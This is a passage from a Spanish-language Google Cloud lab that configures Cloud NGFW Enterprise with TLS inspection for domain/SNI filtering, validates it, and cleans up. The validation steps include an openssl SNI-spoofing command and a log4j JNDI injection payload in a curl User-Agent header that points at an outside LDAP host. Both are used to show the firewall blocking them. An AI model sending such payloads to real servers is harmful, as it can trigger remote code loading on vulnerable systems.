Actualiza la asociación de extremos para habilitar TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Obtén el certificado de CA y agrégalo al almacén de CA del cliente. Esto es necesario para la confianza, ya que NGFW Enterprise establecería TLS y presentaría el certificado firmado del grupo de CA:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transfiere el certificado de CA al cliente:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Establece una conexión SSH con la VM, mueve el certificado de CA a /usr/local/share/ca-certificates y actualiza el almacén de CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Sal de la VM y continúa en Cloud Shell.
Actualiza la regla de firewall para la inspección de TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Validar reglas con inspección de TLS
Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía las solicitudes de muestra a los destinos permitidos:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Estos deberían aprobarse sin problemas. Si queremos revisar el certificado y confirmar si está firmado por el NGFW, podemos ejecutar el siguiente comando:
curl https://ifconfig.me --max-time 2 -vv
Resultado esperado:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
En el resultado anterior, podemos ver que NGFW Enterprise inspecciona la solicitud con TLS porque el certificado recibido está firmado por la CA raíz que creamos anteriormente. (campo del emisor)
Valida las reglas que intentan suplantar la identidad de SNI con la inspección de TLS
Ahora validemos el comportamiento con la inspección de TLS habilitada.
Ejecuta el siguiente comando de openssl para suplantar el SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Resultado esperado:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
En el resultado anterior, vemos que una solicitud de suplantación de SNI que funcionaba anteriormente ahora falla cuando se habilita la inspección de TLS. Esto se debe a que, cuando se habilita la inspección de TLS, el NGFW verifica el SNI en función del nombre alternativo del sujeto (SAN) del certificado del servidor. Si no coincide, fallará el protocolo de enlace TLS.
Validar el dominio o SNI y la prevención de amenazas con la inspección de TLS
Ahora volveremos a ejecutar la prueba que se realizó anteriormente para una solicitud maliciosa (log4j) a un dominio permitido.
Envía la muestra maliciosa (log4j) a un dominio o destino SNI permitido:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Resultado esperado:
000
Este código de respuesta 000 se debe a que el NGFW finalizó la conexión porque se detectó una amenaza. Podemos recopilar una salida más detallada para confirmar.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Resultado esperado:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
En el resultado anterior, vemos que el NGFW realizó la inspección de TLS y bloqueó la solicitud maliciosa.
Sal de la VM:
exit
Continúa con la siguiente sección para conocer los pasos de limpieza.
19. Pasos de limpieza
Limpieza de la configuración básica
Quita las instancias:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Quita la política de red del Firewall de Cloud y la asociación:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Borra Cloud Router y Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Borra las direcciones IP reservadas:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Limpieza de la asociación y el SPG del Firewall de Cloud
Borra el grupo de perfiles de seguridad y el perfil de filtrado de amenazas y URLs en este orden:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Borra la asociación del extremo del Firewall de Cloud:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Borra el extremo del Firewall de Cloud, lo que puede tardar alrededor de 20 minutos:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
De manera opcional, confirma que se borró el extremo de Cloud NGFW ejecutando el siguiente comando:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
El estado del extremo debería mostrar lo siguiente:
STATE: DELETING
Cuando se complete el proceso, el extremo ya no aparecerá en la lista.
[Opcional] Limpieza de TLS
Si continuaste con las configuraciones opcionales de inspección de TLS, ejecuta los siguientes comandos para limpiar los recursos de TLS.
Borra la política de TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Inhabilita y borra la CA raíz y el grupo de CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Limpieza de subredes y VPC
Por último, borra la subred y la red de VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Conclusión y consideraciones
Este lab es muy simple y solo realiza pruebas con una sola VM que sale a Internet. En situaciones reales, la VPC podría contener varios recursos y tráfico en todas las direcciones (N/S y E/W). Dado que la regla de firewall para el filtrado de dominio o SNI es un EGRESS 0.0.0.0/0, es una regla "atrapa todo" y DEBE configurarse como la regla de prioridad más baja en la política de red. De lo contrario, el tráfico coincidiría de forma inesperada y se permitiría o denegaría según la regla urlFiltering predeterminada.
Además, considera usar Tipos de redes para limitar el alcance. Esto es para evitar que el tráfico de E/W coincida con la regla. También puedes crear una regla de permiso de mayor prioridad para el tráfico de E/W.
Revisa el documento de prácticas recomendadas que abarca el filtrado de dominio/SNI con más detalle.
21. ¡Felicitaciones!
¡Felicitaciones! Completaste correctamente el lab de Cloud NGFW Enterprise para el filtrado de dominios y SNI con inspección de TLS opcional.